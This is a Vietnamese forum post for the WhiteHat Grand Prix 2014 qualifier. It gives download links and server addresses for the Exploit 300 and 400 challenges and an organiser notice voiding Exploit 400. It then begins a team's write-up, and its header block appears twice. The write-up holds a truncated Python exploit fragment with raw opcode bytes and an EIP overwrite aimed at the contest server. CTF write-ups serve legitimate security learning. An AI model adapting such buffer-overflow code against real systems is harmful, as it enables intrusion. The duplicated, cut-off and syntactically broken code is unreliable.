BkavCR
VIP Members
-
27/09/2013
-
106
-
203 bài viết
[Writeup] Chủ đề Exploit - Vòng loại WhiteHat Grand Prix 2014
Link tải đề:
Exploit 300
http://grandprix.whitehat.vn:8020/DABA0E7C3FA64CD98C0A927FB975FEF/exploit300.zip
Connect --> grandprix.whitehat.vn:7007
Gợi ý: Môi trường Windows XP SP3
Exploit 400
http://grandprix.whitehat.vn:8020/BE84FDB1E04B1E6E9AABA0325069D5B6/exploit400.zip
Connect --> grandprix.whitehat.vn:6007
Môi trường: Windows 7 /NXCOMPAT:NO
Cập nhật bài Exploit 400:
Ban tổ chức đã kiểm tra lại bài Exploit 400 và nhận thấy do sơ suất trong quá trình up đề đã không cung cấp đủ thông tin về các module được load trên server dẫn đến việc các đội chơi không thể tìm thấy địa chỉ trả về để ghi đè cho shellcode hoạt động. Vì thế bài exploit 400 sẽ không được tính điểm trong kết quả chung cuộc
Ban tổ chức thành thật xin lỗi các đội chơi về sự cố ngoài ý muốn này.
Mời các bạn viết Writeup và cùng thảo luận về Chủ đề Exploit - Vòng loại WhiteHat Grand Prix 2014.
____________________________________________________________
BQT cập nhật Writeup của team ___BAMB00__ để các bạn cùng tham khảo:
Exploit 300:
Exploit 300
http://grandprix.whitehat.vn:8020/DABA0E7C3FA64CD98C0A927FB975FEF/exploit300.zip
Connect --> grandprix.whitehat.vn:7007
Gợi ý: Môi trường Windows XP SP3
Exploit 400
http://grandprix.whitehat.vn:8020/BE84FDB1E04B1E6E9AABA0325069D5B6/exploit400.zip
Connect --> grandprix.whitehat.vn:6007
Môi trường: Windows 7 /NXCOMPAT:NO
Cập nhật bài Exploit 400:
Ban tổ chức đã kiểm tra lại bài Exploit 400 và nhận thấy do sơ suất trong quá trình up đề đã không cung cấp đủ thông tin về các module được load trên server dẫn đến việc các đội chơi không thể tìm thấy địa chỉ trả về để ghi đè cho shellcode hoạt động. Vì thế bài exploit 400 sẽ không được tính điểm trong kết quả chung cuộc
Ban tổ chức thành thật xin lỗi các đội chơi về sự cố ngoài ý muốn này.
Mời các bạn viết Writeup và cùng thảo luận về Chủ đề Exploit - Vòng loại WhiteHat Grand Prix 2014.
____________________________________________________________
BQT cập nhật Writeup của team ___BAMB00__ để các bạn cùng tham khảo:
Exploit 300:
Mã:
import ctypesimport sys
import socket
import base64
import struct
if sys.argv[1] == "1":
IP = "grandprix.whitehat.vn"
PORT = 6007
else:
IP = "192.168.0.103"
PORT = 2307
s = socket.create_connection((IP, PORT))
def r():
time.sleep(1)
return s.recv(8192)
print s.recv(1024)
call_read_flag = "xE8x75xDCxFFxFF"
send_flag = "xE8x07xE0xFFxFF"
eip = struct.pack("
Chỉnh sửa lần cuối bởi người điều hành: